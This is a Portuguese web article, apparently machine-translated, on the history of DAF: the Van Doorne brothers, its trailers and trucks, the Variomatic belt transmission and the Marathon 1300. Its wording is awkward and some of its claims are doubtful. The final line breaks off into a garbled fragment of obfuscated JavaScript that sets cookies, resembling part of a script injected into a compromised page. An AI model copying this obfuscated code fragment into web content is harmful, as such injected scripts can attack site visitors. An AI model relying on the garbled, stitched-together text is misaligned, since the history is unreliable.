Caminhões DAF

Caminhões DAF

Apesar de uma partida muito tardia no campo da produção de carros volumosos para o mercado europeu, a empresa DAF (mais tarde controlada pela Volvo) atuou em muitos campos de transporte desde que foi criada no início dos anos 20 pelos irmãos Van Doorne.

Com dinheiro emprestado de um empresário holandês, os dois irmãos originalmente concentraram-se no campo de produção de semirreboques, lançando uma nova unidade de luz que recebeu uma pronta aceitação da indústria europeia de transporte rodoviário de rápida expansão, mas ainda bastante embrionária.

O fato de os transportadores rodoviários holandeses terem se tornado a maior seção única dessa indústria em crescimento ajudou a DAF em sua expansão, e logo os produtos da empresa eram uma visão familiar nas estradas da Continental.

Com a Hub Van Doorne fornecendo o ímpeto de design e seu irmão Wim contribuindo com considerável visão de negócios para a parceria, a DAF desfrutou de uma taxa constante de expansão, ganhando para si uma reputação de produtos de primeira classe e serviço pós-venda de alta qualidade.

Mesmo a Segunda Guerra Mundial não foi um grande impedimento para o pensamento dos irmãos Van Doorne, e as fábricas na sede da empresa em Eindhoven, Holanda, estavam em produção novamente após o fim da guerra. O próximo passo importante no progresso da empresa foi dado em 1950, quando a DAF decidiu entrar na indústria de veículos comerciais com um produto de design próprio.

Construídos com os mesmos parâmetros da gama de reboques e semi-reboques da DAF, os camiões DAF capitalizaram a boa reputação do nome da empresa e da rede de vendas e serviços já existente, que ofereceu aos transportadores continentais uma organização de serviços e peças à escala europeia depósitos.

Em 1974, a DAF era um produtor importante em muitos campos auxiliares da produção de veículos comerciais e, de fato, fabricava veículos blindados, veículos especializados, motores marítimos e outros itens de equipamentos industriais pesados. No entanto, para a maioria dos motoristas, o nome DAF era sinônimo da transmissão Variomatic única, que era um produto do cérebro de engenharia fértil de Hub Van Doorne.

Introduzido no Amsterdam Motor Show de 1958, o primeiro carro da DAF era um pequeno sedan de duas portas, movido por um motor de dois cilindros e 600 cc refrigerado a ar. Foi o uso de correias de borracha e polias de diâmetro variável como uma forma de transmissão que intrigou tanto o público em geral e engenheiros automotivos.

O Variomatic era o cérebro do Dr. Hub van Doorne (Automóvel de Fabrico de Van Doorne – DAF) e era infinitamente variável em suas proporções – não havia mudanças de marcha perceptíveis. As polias na transmissão se expandiram e contraíram, dependendo da velocidade, condições da estrada e demanda do motorista automaticamente. O comando final para as rodas traseiras foi transmitido por correias de transmissão de composto de borracha. Tornou-se conhecido como o “carro de cem engrenagens” e “o carro mais fácil do mundo para dirigir”. Havia uma alavanca de seleção entre os assentos dianteiros – simplesmente empurre-o para frente para ir para frente e para trás para voltar! E como com qualquer outro carro automático, há apenas dois pedais – acelerador e freio.

Caminhões DAF – Marathon DAF 1300

O sólido apoio financeiro e tecnológico de algumas empresas, juntamente com a participação ativa e a cooperação do governo holandês nos assuntos da DAF, resultaram na operação bem-sucedida da fábrica de Born e no plano da administração da Divisão de Veículos de dobrar a capacidade da fábrica da empresa até o final da década de 1970.

Os caminhões da empresa continuam sendo fabricados em Eindhoven, mas a escassez de mão-de-obra qualificada na Holanda resultou em várias fábricas de satélites sendo construídas nas áreas vizinhas. O trabalho continuou no desenvolvimento de uma linha de modelo forte e carro novo da DAF de 1973, Marathon 1300 levou a empresa em um setor maior do mercado do que era possível antes.

O trabalho também continuou no desenvolvimento da transmissão Variomatic e no refinamento da filosofia de projeto e aplicação do sistema. Esperava-se que o final dos anos 70 veria um uso muito maior da transmissão Variomatic em campos não exclusivos do automóvel privado. ,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]